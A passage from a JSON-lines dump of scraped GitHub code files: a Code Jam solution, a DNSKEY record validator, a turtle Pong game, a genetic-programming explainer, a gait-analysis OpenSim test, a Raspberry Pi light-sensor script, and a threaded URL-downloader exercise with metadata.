needed=getPaintForNRings(mid, r)\n diff=t-needed\n if(diff>0):\n low=mid+1\n elif(diff<0):\n high=mid-1\n elif(diff==0):\n break\n \n if(diff==0):\n return mid\n \n return low-1\n \n \ndef getPaintForNRings(n,r):\n #return (2*r+1)*n + 4*(n*(2*n-3) + 2)\n return ((n+r)*2-1)*n\n\ndef main():\n i=1\n f=open('input.txt','r')\n fout=open('output.txt','w')\n t=int(f.readline())\n \n while(t!=0):\n \n ans=getNumberOfRings(f)\n fout.write(\"Case #{}: {}\\n\".format(i,int(ans)))\n #print \"Case #{}: {}\".format(i,int(ans))\n i+=1\n t-=1\n\n fout.close()\n f.close()\n \nif __name__==\"__main__\":\n main()\n #print getPaintForNRings(2,1)","repo_name":"dr-dos-ok/Code_Jam_Webscraper","sub_path":"solutions_python/Problem_120/1004.py","file_name":"1004.py","file_ext":"py","file_size_in_byte":1303,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"7376885493","text":"import dns.rdtypes.ANY.DNSKEY\n\nimport dns_sprockets_lib.validators as validators\n\n\nclass DnskeyBits(validators.RecTest):\n # pylint: disable=too-few-public-methods\n '''\n Checks DNSKEY flags and protocol.\n '''\n TEST_DNSSECTYPE = True\n TEST_RRTYPE = 'DNSKEY'\n\n def run(self, context, suggested_tested, name, ttl, rdata):\n # pylint: disable=too-many-arguments\n\n result = None\n if (rdata.flags & dns.rdtypes.dnskeybase.ZONE) and name != context.zone_name:\n result = 'Zone signing key not at zone apex'\n if rdata.protocol != 3:\n if result:\n result += ', and '\n else:\n result = ''\n result += 'Protocol not 3'\n return (suggested_tested, result)\n\n# end of file\n","repo_name":"ultradns/dns_sprockets","sub_path":"dns_sprockets_lib/validators/dnskey_bits.py","file_name":"dnskey_bits.py","file_ext":"py","file_size_in_byte":782,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"61"} +{"seq_id":"73205333953","text":"from turtle import Turtle, Screen\nfrom field import Field, OFFSET\nfrom game_types import GameTypes\nfrom paddle import Paddle\nfrom scoreboard import Scoreboard, Player\nfrom ball import Ball\nfrom vector import Vector\nimport time\nimport tkinter as tk\nimport tkinter.font as tk_font\n\nWIDTH = 800\nHEIGHT = 600\n\n# root = tk.Tk()\n# print(tk_font.families())\n# print(tk_font.names())\n\nscreen = Screen()\nscreen.tracer(0)\nscreen.setup(width=WIDTH, height=HEIGHT)\nfield = Field(screen=screen)\nball = Ball(field_height=field.height)\n\n\nfield.prepare_field(GameTypes.DEFAULT)\n\npaddle_a = Paddle()\npaddle_b = Paddle()\nfield.setup_paddles(paddle_a=paddle_a, paddle_b=paddle_b)\n\nscoreboard = Scoreboard(screen=screen)\nfield.setup_scoreboard(scoreboard)\n\nscreen.listen()\nscreen.onkey(paddle_b.move_up, key=\"Up\")\nscreen.onkey(paddle_b.move_down, key=\"Down\")\n\nscreen.onkey(paddle_a.move_up, key=\"w\")\nscreen.onkey(paddle_a.move_down, key=\"s\")\n\nis_game_over = False\npaddle_a_did_hit_ball = False\npaddle_b_did_hit_ball = False\npaddle_y_when_ball_is_hit = 0\n\n\ndef record_data_when_ball_hit_paddle(player: Player):\n global paddle_a_did_hit_ball, paddle_b_did_hit_ball, paddle_y_when_ball_is_hit, paddle_a, paddle_b\n if player is Player.PLAYER_A:\n paddle_y_when_ball_is_hit = paddle_a.ycor()\n paddle_a_did_hit_ball = True\n else:\n paddle_y_when_ball_is_hit = paddle_b.ycor()\n paddle_a_did_hit_ball = True\n\n\ndef change_ball_vector_based_on_paddle(paddle: Turtle):\n new_vy = 1\n\n # the ball is moving along x\n if ball.vector.vy == 0:\n if paddle.ycor() < paddle_y_when_ball_is_hit:\n new_vy = -1\n else:\n if paddle.ycor() > paddle_y_when_ball_is_hit and ball.vector.vy < 0 or \\\n paddle.ycor() < paddle_y_when_ball_is_hit and ball.vector.vy > 0:\n # paddle is moving in the opposite direction of ball\n if abs(ball.vector.vy) > 1:\n # slow down the ball\n if ball.vector.vy < 0:\n new_vy = 1\n else:\n new_vy = -1\n else:\n # change direction of the ball vector.vy\n if ball.vector.vy < 0:\n new_vy = -ball.vector.vy + 1\n else:\n new_vy = -ball.vector.vy - 1\n\n else:\n # paddle is moving in the same direction of ball\n if ball.vector.vy < 0:\n new_vy = -1\n\n ball.vector.add_vector(Vector(init_vx=0, init_vy=new_vy))\n\n\nwhile not is_game_over:\n time.sleep(0.1)\n screen.update()\n # paddle_b.move_as_ai()\n\n # check if paddle responsible for hitting the ball has moved\n if paddle_a_did_hit_ball and paddle_a.ycor() != paddle_y_when_ball_is_hit:\n change_ball_vector_based_on_paddle(paddle=paddle_a)\n elif paddle_b_did_hit_ball and paddle_b.ycor() != paddle_y_when_ball_is_hit:\n change_ball_vector_based_on_paddle(paddle=paddle_b)\n\n paddle_a_did_hit_ball = False\n paddle_b_did_hit_ball = False\n\n ball.move()\n\n if ball.has_reached_top_or_bottom():\n ball.bounce_off_from_top_bottom_wall()\n\n elif ball.has_reached_paddle(paddle_a):\n ball.bounce_off_from_paddle()\n record_data_when_ball_hit_paddle(Player.PLAYER_A)\n\n elif ball.has_reached_paddle(paddle_b):\n ball.bounce_off_from_paddle()\n record_data_when_ball_hit_paddle(Player.PLAYER_B)\n\n elif ball.has_reached_goal(field):\n\n if ball.xcor() > 0:\n scoreboard.inc_score(player=Player.PLAYER_B)\n else:\n scoreboard.inc_score(player=Player.PLAYER_A)\n ball.reset_config()\n\n\nscreen.exitonclick()\n","repo_name":"KuoPingL/100DaysOfPython","sub_path":"day_22_pong/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3648,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"44528295202","text":"import graphviz\nimport numpy as np\nimport sympy as sp\n\nfrom explain.show_explanation import TreeExplanation\nfrom neighborhood.noise_set import NoiseSet\nfrom translate.expression_translator import Translator\nfrom translate.gp_adapter_factory import GPAdapterFactory\n\n\nclass GPXClassification:\n\n def __init__(self,\n x,\n model_predict,\n gp_model,\n noise_set_num_samples=100\n ):\n self.x = x\n self.model_predict = model_predict\n self.gp_model = gp_model\n self.noise_set_num_samples = noise_set_num_samples\n\n def noise_set_generated(self, instance):\n info_data = np.std(self.x, axis=0) * 1\n ns = NoiseSet(self.model_predict, info_data, self.noise_set_num_samples)\n return ns.noise_set(instance)\n\n def instance_understanding(self, instance):\n \"\"\"\n\n @param instance:\n @return:\n \"\"\"\n x_around, y_around = self.noise_set_generated(instance)\n self.gp_model.fit(x_around, y_around[:, 1] * 10)\n self.gp_model = GPAdapterFactory(self.gp_model).get_gp_obj()\n\n return x_around, y_around\n\n def get_string_expression(self) -> str:\n return self.gp_model.expression_string()\n\n def show_tree(self,\n directory: str = None,\n filename: str = None,\n view: bool = True,\n cleanup: bool = False,\n ) -> graphviz.Source:\n\n \"\"\"\n\n @param directory:\n @param filename:\n @param view:\n @param cleanup:\n @return:\n \"\"\"\n sp_exp = Translator(gp_tool_name=self.gp_model.my_name, math_exp=self.get_string_expression()).get_translation()\n dot_sp = sp.dotprint(sp.N(sp_exp, 3))\n te = TreeExplanation(dot_sp)\n te.generate_image(view=view, filename=filename, directory=directory, cleanup=cleanup)\n\n return te.graph_source\n\n def predict(self, x):\n y_hat = self.gp_model.predict(x) / 10\n\n print('yhat: ', y_hat)\n return ((1 / (1+np.exp(-y_hat))) >= 0.5)*1\n","repo_name":"leauferreira/GpX","sub_path":"explainer/gpx_classification.py","file_name":"gpx_classification.py","file_ext":"py","file_size_in_byte":2108,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"5773833792","text":"# -*- coding: utf-8 -*-\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport pdb\nimport logging\n\nimport pyCGM2\nfrom pyCGM2 import log; log.setLoggingLevel(logging.INFO)\n\nimport pyCGM2\n\n# pyCGM2\nfrom pyCGM2.Tools import btkTools\nfrom pyCGM2.Model.CGM2 import cgm2\nfrom pyCGM2.Model import modelFilters,modelDecorator\nimport pyCGM2.enums as pyCGM2Enums\nfrom pyCGM2.Math import numeric\nfrom pyCGM2.Model.Opensim import opensimFilters\nimport json\nfrom collections import OrderedDict\n\nclass CGM2_4_Tests():\n\n @classmethod\n def full_IK(cls):\n\n MAIN_PATH = pyCGM2.TEST_DATA_PATH + \"CGM2\\\\cgm2.4\\\\medial\\\\\"\n staticFilename = \"static.c3d\"\n gaitFilename= \"gait Trial 01.c3d\"\n\n markerDiameter=14\n mp={\n 'Bodymass' : 69.0,\n 'LeftLegLength' : 930.0,\n 'RightLegLength' : 930.0 ,\n 'LeftKneeWidth' : 94.0,\n 'RightKneeWidth' : 64.0,\n 'LeftAnkleWidth' : 67.0,\n 'RightAnkleWidth' : 62.0,\n 'LeftSoleDelta' : 0,\n 'RightSoleDelta' : 0,\n \"LeftToeOffset\" : 0,\n \"RightToeOffset\" : 0,\n }\n\n\n # --- Calibration ---\n acqStatic = btkTools.smartReader(str(MAIN_PATH + staticFilename))\n\n model=cgm2.CGM2_4LowerLimbs()\n model.configure()\n\n model.addAnthropoInputParameters(mp)\n\n # ---- Calibration ----\n\n scp=modelFilters.StaticCalibrationProcedure(model)\n modelFilters.ModelCalibrationFilter(scp,acqStatic,model).compute()\n\n # cgm decorator\n modelDecorator.HipJointCenterDecorator(model).hara()\n modelDecorator.KneeCalibrationDecorator(model).midCondyles(acqStatic, markerDiameter=markerDiameter, side=\"both\")\n modelDecorator.AnkleCalibrationDecorator(model).midMaleolus(acqStatic, markerDiameter=markerDiameter, side=\"both\")\n\n # final\n modelFilters.ModelCalibrationFilter(scp,acqStatic,model,\n markerDiameter=markerDiameter).compute()\n\n\n # ------ Fitting -------\n acqGait = btkTools.smartReader(str(MAIN_PATH + gaitFilename))\n\n\n # Motion FILTER\n modMotion=modelFilters.ModelMotionFilter(scp,acqGait,model,pyCGM2Enums.motionMethod.Sodervisk)\n modMotion.compute()\n\n # relative angles\n modelFilters.ModelJCSFilter(model,acqGait).compute(description=\"vectoriel\", pointLabelSuffix=\"cgm1_6dof\")\n\n # absolute angles\n longitudinalAxis,forwardProgression,globalFrame = btkTools.findProgressionAxisFromPelvicMarkers(acqGait,[\"LASI\",\"RASI\",\"RPSI\",\"LPSI\"])\n modelFilters.ModelAbsoluteAnglesFilter(model,acqGait,\n segmentLabels=[\"Left Foot\",\"Right Foot\",\"Pelvis\"],\n angleLabels=[\"LFootProgress\", \"RFootProgress\",\"Pelvis\"],\n eulerSequences=[\"TOR\",\"TOR\", \"ROT\"],\n globalFrameOrientation = globalFrame,\n forwardProgression = forwardProgression).compute(pointLabelSuffix=\"cgm1_6dof\")\n\n # ---Marker decomp filter----\n mtf = modelFilters.TrackingMarkerDecompositionFilter(model,acqGait)\n mtf.decompose()\n # ------- OPENSIM IK --------------------------------------\n\n # --- osim builder ---\n cgmCalibrationprocedure = opensimFilters.CgmOpensimCalibrationProcedures(model)\n markersetFile = pyCGM2.OPENSIM_PREBUILD_MODEL_PATH + \"models\\\\settings\\\\cgm2_4\\\\cgm2_4-markerset - expert.xml\"\n\n osimfile = pyCGM2.OPENSIM_PREBUILD_MODEL_PATH + \"models\\\\osim\\\\lowerLimb_ballsJoints.osim\"\n\n\n oscf = opensimFilters.opensimCalibrationFilter(osimfile,\n model,\n cgmCalibrationprocedure,\n MAIN_PATH)\n oscf.addMarkerSet(markersetFile)\n scalingOsim = oscf.build(exportOsim=False)\n\n # --- fitting ---\n #procedure\n cgmFittingProcedure = opensimFilters.CgmOpensimFittingProcedure(model,expertMode = True)\n\n iksetupFile = pyCGM2.OPENSIM_PREBUILD_MODEL_PATH + \"models\\\\settings\\\\cgm2_4\\\\cgm2_4-expert-ikSetUp_template.xml\"\n\n osrf = opensimFilters.opensimFittingFilter(iksetupFile,\n scalingOsim,\n cgmFittingProcedure,\n MAIN_PATH )\n\n\n acqIK = osrf.run(acqGait,str(MAIN_PATH + gaitFilename ),exportSetUp=False)\n\n\n # -------- NEW MOTION FILTER ON IK MARKERS ------------------\n\n modMotion_ik=modelFilters.ModelMotionFilter(scp,acqIK,model,pyCGM2Enums.motionMethod.Sodervisk,\n useForMotionTest=True)\n modMotion_ik.compute()\n\n finalJcs =modelFilters.ModelJCSFilter(model,acqIK)\n finalJcs.setFilterBool(False)\n finalJcs.compute(description=\"ik\", pointLabelSuffix = \"2_ik\")#\n\n btkTools.smartWriter(acqIK,\"cgm24e_fullIK.c3d\")\n\n\n\nif __name__ == \"__main__\":\n\n CGM2_4_Tests.full_IK()\n","repo_name":"suguke/pyCGM2","sub_path":"Tests/model/cgm2/cgm2_4/testCGM24e-fitting.py","file_name":"testCGM24e-fitting.py","file_ext":"py","file_size_in_byte":5146,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"} +{"seq_id":"14104336087","text":"import sys\r\nimport RPi.GPIO as GPIO\r\nimport time\r\n\r\nGPIO.setmode(GPIO.BOARD)\r\n\r\ndef lichtsensor(pin) :\r\n\tlichtmeting = 0\r\n\tGPIO.setup(pin, GPIO.OUT)\r\n\tGPIO.output(pin, GPIO.LOW)\r\n\ttime.sleep(0.1)\r\n\t\r\n\tGPIO.setup(pin, GPIO.IN)\r\n\twhile(GPIO.input(pin) == GPIO.LOW) :\r\n\t\tlichtmeting = lichtmeting + 1\r\n\treturn lichtmeting\r\n\r\nprint(lichtsensor(33))\r\n","repo_name":"CohesivePixel/Media-Technology-Challengeweek-Assignnment","sub_path":"stepengine/lichtsensor.py","file_name":"lichtsensor.py","file_ext":"py","file_size_in_byte":346,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"33703638364","text":"import urllib.request\nfrom concurrent.futures import ThreadPoolExecutor\nfrom concurrent.futures import ProcessPoolExecutor\nimport multiprocessing\n\nclass NotFoundException(Exception):\n def __init__(self, *args, **kwargs):\n ValueError.__init__(self, *args, **kwargs)\n\nclass Week6():\n def __init__(self, url_list=[]):\n self.url_list= url_list\n self.filenames = Week6.multi_download(Week6.download, url_list)\n\n def download(url):\n \n filename = url.rsplit('/', 1)[1]\n try:\n print(\"downloading...\")\n downloaded_file = urllib.request.urlretrieve(url,'./output_data/'+filename)\n print(\"download done\")\n print('filepath: ',downloaded_file)\n return filename\n except NotFoundException as nfe:\n print(nfe)\n\n def multi_download(func, urls, workers=5):\n with ThreadPoolExecutor(workers) as ex:\n res = ex.map(func, urls)\n return list(res)\n\n def __iter__(self):\n return self\n \n def __next__(self):\n i = 0\n if i <= len(self.url_list):\n result = self.url_list[i]\n i = i + 1\n return result\n else:\n raise StopIteration\n \n def urllist_generator(self):\n for url in url_list:\n yield url\n\n def avg_vowels(filename):\n vovels = ('aeiouyAEIOUY')\n word_count = 0\n vovel_count = 0\n with open (filename,'r') as text:\n for line in text.readlines():\n for word in line:\n word_count +=1\n for character in word:\n if character in vovels:\n vovel_count += 1\n return word_count/vovel_count\n \n def multiprocess(self,func, args, workers=3):\n new_args = []\n for arg in args:\n arg = './output_data/' + arg\n new_args.append(arg)\n with ProcessPoolExecutor(workers) as ex:\n res = ex.map(func, new_args)\n return list(res)\n \n def hardest_read(self):\n res = self.multiprocess(Week6.avg_vowels, self.filenames)\n dicto={res[i]: './output_data/'+self.filenames[i] for i in range(len(res))}\n sorted_dicto = sorted(dicto.items(), key=lambda item: item[0])\n return sorted_dicto[-1]","repo_name":"mads-XD-kristensen/python_handin_template","sub_path":"modules/week_6_handin.py","file_name":"week_6_handin.py","file_ext":"py","file_size_in_byte":2347,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"61"}